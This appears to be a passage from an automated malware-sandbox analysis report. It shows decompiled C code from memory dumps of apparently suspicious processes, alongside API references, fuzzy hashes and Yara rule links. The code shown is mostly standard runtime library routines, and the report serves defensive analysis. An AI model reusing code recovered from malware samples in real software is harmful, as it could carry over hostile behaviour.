										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?), ref: 00415338
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?), ref: 004153A6

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AEC9.exe PID: 5836 Parent PID: 3292 AEC9.exeCOMMON

Executed Functions

Function 039550F9, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 0395515F

Memory Dump Source

Source File: 0000001C.00000002.527509077.0000000003950000.00000040.00000001.sdmp, Offset: 03950000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 60d0234b290e2382b1193115840e4a48653d5cd8b545f5f3386531fb09cc90d1
Instruction ID: 3b38483302c9a48e3697329f825b9dbfd388858ced45d23b8cd960966b1c9ab6
Opcode Fuzzy Hash: 60d0234b290e2382b1193115840e4a48653d5cd8b545f5f3386531fb09cc90d1
Instruction Fuzzy Hash: A1112871900349CFDB10DFA9C884BDFBBF9AB88314F14881AD515A7640D775A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03955100, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 0395515F

Memory Dump Source

Source File: 0000001C.00000002.527509077.0000000003950000.00000040.00000001.sdmp, Offset: 03950000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 21f0b5d7fd6c1afd1fb385020ba6af032a75e592a5d03240cab13c0a8451f9a5
Instruction ID: 207d2b73683deaf43fbabd1b59f7fa8a8e998c56afefc3fbc384af4f0ee5dc35
Opcode Fuzzy Hash: 21f0b5d7fd6c1afd1fb385020ba6af032a75e592a5d03240cab13c0a8451f9a5
Instruction Fuzzy Hash: CD110671D00349CFDB10DFA9C4447EFFBF9AB88314F24882AD519A7640D775A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: E6D3.exe PID: 5524 Parent PID: 3292 E6D3.exeCOMMON

Executed Functions

Function 073A0AB8, Relevance: 1.1, Instructions: 1076COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74899b2775eb91cc6dd7e0c35c2bfc528b979354e3fc77a4e4634ddb4e4f4daa
Instruction ID: bccebff22cde208ab80ceb5857709f2afec562307d385b52063e853a00dc27f2
Opcode Fuzzy Hash: 74899b2775eb91cc6dd7e0c35c2bfc528b979354e3fc77a4e4634ddb4e4f4daa
Instruction Fuzzy Hash: B392CEB4700219DFEB24DF75C495AAEB7B6EF88304F108969D90A9B761DB34EC45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 073A77C0, Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ab2a5afdc7adc22c6b3a62ce08e5f9139396cc697e63965e86e920631587c8
Instruction ID: b7d58850958960ea084c8801a3078130f37490152cdfb4ef980cf0b4b5b5b3fe
Opcode Fuzzy Hash: 13ab2a5afdc7adc22c6b3a62ce08e5f9139396cc697e63965e86e920631587c8
Instruction Fuzzy Hash: 8C22BE757002119FE724AB7494AAB6E37E6EFC8244F14487DD90ACB792EF38DC468781

Uniqueness

Uniqueness Score: -1.00%

Function 073AC2A0, Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8999411d1e62ee90a88c6eaf4be10d10812b91c7e37027ad26253d14b15a9104
Instruction ID: c0a8cba2a3c39a5c7c6b5de5b984bbeb146189904cfeeeb9876402bb783c60a8
Opcode Fuzzy Hash: 8999411d1e62ee90a88c6eaf4be10d10812b91c7e37027ad26253d14b15a9104
Instruction Fuzzy Hash: A822F1B0700314AFE715DB74D459A6EBBE6EFC9214B1484AAD80ACB392DF34EC45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 073A2568, Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b85a0acb7f1cf8700fd1888f7b91457953102f2ff4bfb1e2b04b1674a31675
Instruction ID: a18b36440475d3d4ec8f14bf6b1ce8cc8954de412d3c470c97dd5041f4f62349
Opcode Fuzzy Hash: 43b85a0acb7f1cf8700fd1888f7b91457953102f2ff4bfb1e2b04b1674a31675
Instruction Fuzzy Hash: 4DD15BB4B01205EFEB28CF69D595A6EB7F6FF88204B248469E809DB751DB34EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 073A2AA0, Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f06036ca25d5e2dafa7e2d65cb3b10e927159b573e0ccb6bba89be7f1319bba
Instruction ID: 1b8021459cb6667fc376ab167491465a42beb9cac8c4c17658f018a51af141c1
Opcode Fuzzy Hash: 1f06036ca25d5e2dafa7e2d65cb3b10e927159b573e0ccb6bba89be7f1319bba
Instruction Fuzzy Hash: 58A1B371700205AFEB14DFB4C845AAABBBAFFC9204F118469E909DB365EB35DC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04A10CA9, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 04A10D0F

Memory Dump Source

Source File: 00000021.00000002.516585114.0000000004A10000.00000040.00000001.sdmp, Offset: 04A10000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: b5d6859617822380004ffc98334daba19668c31fb7f31b0ac4c421c07893aee1
Instruction ID: 5626dc85d37c04ba0b7f487dd7352e10f6e4931ac1cb8a2f03a5e5d9a59c8db9
Opcode Fuzzy Hash: b5d6859617822380004ffc98334daba19668c31fb7f31b0ac4c421c07893aee1
Instruction Fuzzy Hash: 1E114670D002498BDB10DFA9C5447EFBBF5AB88324F24882ED455A7690C774A944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04A10CB0, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 04A10D0F

Memory Dump Source

Source File: 00000021.00000002.516585114.0000000004A10000.00000040.00000001.sdmp, Offset: 04A10000, based on PE: false

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 88b9003adfd887b7fedb32811dc6e8ec07150f281703a461d93c45195e133842
Instruction ID: ac349e5275a36c8e87a82849affb14218f5879f51ee42440c1a79376ab662313
Opcode Fuzzy Hash: 88b9003adfd887b7fedb32811dc6e8ec07150f281703a461d93c45195e133842
Instruction Fuzzy Hash: 12113671D003098FDB10DFA9C4487DFBBF9EF88314F20882AC415A7640D774A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 073A8998, Relevance: 1.5, Strings: 1, Instructions: 239COMMON

Download Yara Rule

Strings

Seg^, xrefs: 073A8C6D, 073A8C72

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID: Seg^
API String ID: 0-2504974192
Opcode ID: e853603cf945726298630787caadff614ccbedde80f16077d6892b3a5ef64753
Instruction ID: 84fe4aeb2189597706627dbe59399badae274d427d9a64d15876b189015e17df
Opcode Fuzzy Hash: e853603cf945726298630787caadff614ccbedde80f16077d6892b3a5ef64753
Instruction Fuzzy Hash: 1A81C4B0B002099FE719DBB4D425AEEB7F6EFC4208F108569D509EB355EB34AD458B81

Uniqueness

Uniqueness Score: -1.00%

Function 073AAB90, Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

8cnm, xrefs: 073AABBB

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID: 8cnm
API String ID: 0-2520195559
Opcode ID: 3792e0c2edc340db77346f3ea733b383991de8b3972f7737feb9862f39b5f72b
Instruction ID: 7118e66d7cd887b505a925854a6547d42eae24342b7fc5e26cc1d53e3769b386
Opcode Fuzzy Hash: 3792e0c2edc340db77346f3ea733b383991de8b3972f7737feb9862f39b5f72b
Instruction Fuzzy Hash: F74115F63042019FF714CB68D055AAABBEAEB85264714C07AD94DCB701DB32DC41C790

Uniqueness

Uniqueness Score: -1.00%

Function 073A9490, Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

x5>l, xrefs: 073A950B

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID: x5>l
API String ID: 0-2829993498
Opcode ID: 2d89d7e1c387477c0a8cc9e382f7edc012a1018f7ece9fb2ac8fc125e266bbb8
Instruction ID: 3d7c920942c1ba53550d3f2fee874eaa99f52512e0722d94d0105048b3e6e91a
Opcode Fuzzy Hash: 2d89d7e1c387477c0a8cc9e382f7edc012a1018f7ece9fb2ac8fc125e266bbb8
Instruction Fuzzy Hash: 3E3105713002119FD724DB79D49AA6D7BE6EFC52143154879D509DB352DF34EC028B91

Uniqueness

Uniqueness Score: -1.00%

Function 073C0269, Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

P, xrefs: 073C0280

Memory Dump Source

Source File: 00000021.00000002.523504354.00000000073C0000.00000040.00000001.sdmp, Offset: 073C0000, based on PE: false

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: b3af0623bc54fb209f8d4135150803b2851f0d43ffb5dca0b3c6a9fd6aa6410e
Instruction ID: 22b6ba1047b79cacfbc357afcd51e86000497000fec65eeab765c77d25059f29
Opcode Fuzzy Hash: b3af0623bc54fb209f8d4135150803b2851f0d43ffb5dca0b3c6a9fd6aa6410e
Instruction Fuzzy Hash: E5216DB0A04286CFEB19DB74C998A6DBFB1FF45205F14456CD40A9B251DB35AC42CB01

Uniqueness

Uniqueness Score: -1.00%

Function 073C01E8, Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

pF{k, xrefs: 073C01F5

Memory Dump Source

Source File: 00000021.00000002.523504354.00000000073C0000.00000040.00000001.sdmp, Offset: 073C0000, based on PE: false

Similarity

API ID:
String ID: pF{k
API String ID: 0-684168735
Opcode ID: 0b00d505316a282b4767a1c48d5d9704932d18696aec620b5e0d2b810ed1d2de
Instruction ID: 8cd8270fdcc839bc24a774748d61f1bf9c2824f7b56b0633198f4c8ef7dda175
Opcode Fuzzy Hash: 0b00d505316a282b4767a1c48d5d9704932d18696aec620b5e0d2b810ed1d2de
Instruction Fuzzy Hash: 28F0EC3230021447D238E6B9E4407AE73CBDBC5668F044C3DD54E87740CB60FC098791

Uniqueness

Uniqueness Score: -1.00%

Function 073A6F8F, Relevance: .7, Instructions: 668COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e426160d2c4378bf5c5873f60fcdd2fbb9bbf0f8dcb576d3d65c54f8e1ecdb5c
Instruction ID: ca3595ff060226751f78604fb6b47425156a229326fa83e6a9e9afc955d46720
Opcode Fuzzy Hash: e426160d2c4378bf5c5873f60fcdd2fbb9bbf0f8dcb576d3d65c54f8e1ecdb5c
Instruction Fuzzy Hash: 6532A2B0B00305AFEF15ABF8D4955AE77FAEFC8604B244429D80ADB795DF749C028B91

Uniqueness

Uniqueness Score: -1.00%

Function 073A9880, Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e743a2a646a04e0aba29aec38da7783858889885659bd57ca715020e50c6ac
Instruction ID: 08bc56f455813f196d1805f3a58a3ef49f5e2e2d0da8d80a0feb1de5b2fb2102
Opcode Fuzzy Hash: e6e743a2a646a04e0aba29aec38da7783858889885659bd57ca715020e50c6ac
Instruction Fuzzy Hash: 42E12875B00205AFEB149BB4D4696EE7BF6EFC5204F10846AD90AEB341DB34ED06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 073AF990, Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cbaea69370cef93e2a76f7a91a9554dae792d34ae4af0ddebc28f0cdb06d9e
Instruction ID: ff06f78fbe9abed857d31736d2dd2f1de8941573f215d56c7225a02921db26e4
Opcode Fuzzy Hash: 43cbaea69370cef93e2a76f7a91a9554dae792d34ae4af0ddebc28f0cdb06d9e
Instruction Fuzzy Hash: 57A1DEF1B14213AFF768DB69D0A1AA9B7E5EF85214F04846AE80DDB751DB31EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 073A0EE1, Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b7a92b4683f3492f06c2e128f661bf3fa5f3c542c166a9ff40cecdac32a6318
Instruction ID: 79b117c7000bb2dea406178808bde7329ef4d9891e5608cc0772a56834628fe6
Opcode Fuzzy Hash: 8b7a92b4683f3492f06c2e128f661bf3fa5f3c542c166a9ff40cecdac32a6318
Instruction Fuzzy Hash: E1B14B74700219DFEB28DF75C495AADB7B6EF88314F148968D80A9B761DB31EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 073AD428, Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c664f664c4725ce5219227c71fc73a19244849a314381b8fb0c43dc01f3949
Instruction ID: a6ee82a93445496f0dd2a7ab8239aebc55994d49bb3a919eb16bb5e28e461218
Opcode Fuzzy Hash: 79c664f664c4725ce5219227c71fc73a19244849a314381b8fb0c43dc01f3949
Instruction Fuzzy Hash: B2A1ADB0B10209EFEB14DFA8D499AACBBF5EF88304F14446AD40AEB754DB34AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 073A2558, Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7391be4b8b725f7861b1c11eff33df40d612a52e42e69b06860731568f64118
Instruction ID: a7c8e2a88cfec5651657f92049ac08aac9f93af04ef97ec5a415f1702ae9f097
Opcode Fuzzy Hash: f7391be4b8b725f7861b1c11eff33df40d612a52e42e69b06860731568f64118
Instruction Fuzzy Hash: 82717CB4A01205EFEB29CF68D49596EB7F6FF88304B208069E809DB751DB35ED41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 073A4260, Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a9f8f61540cdc047afdaa9bb3932377eb2e165512f888d01add739af9ab158
Instruction ID: c817d52606632d7152a1bb658f58496e8b0785cf8049578cbf9e0cc0449f0a65
Opcode Fuzzy Hash: 47a9f8f61540cdc047afdaa9bb3932377eb2e165512f888d01add739af9ab158
Instruction Fuzzy Hash: 86515771A053915FE711EB79D4A1ADA7BA2EFC2208F1489ABC4458F292DB35DC0A87C1

Uniqueness

Uniqueness Score: -1.00%

Function 073A5328, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

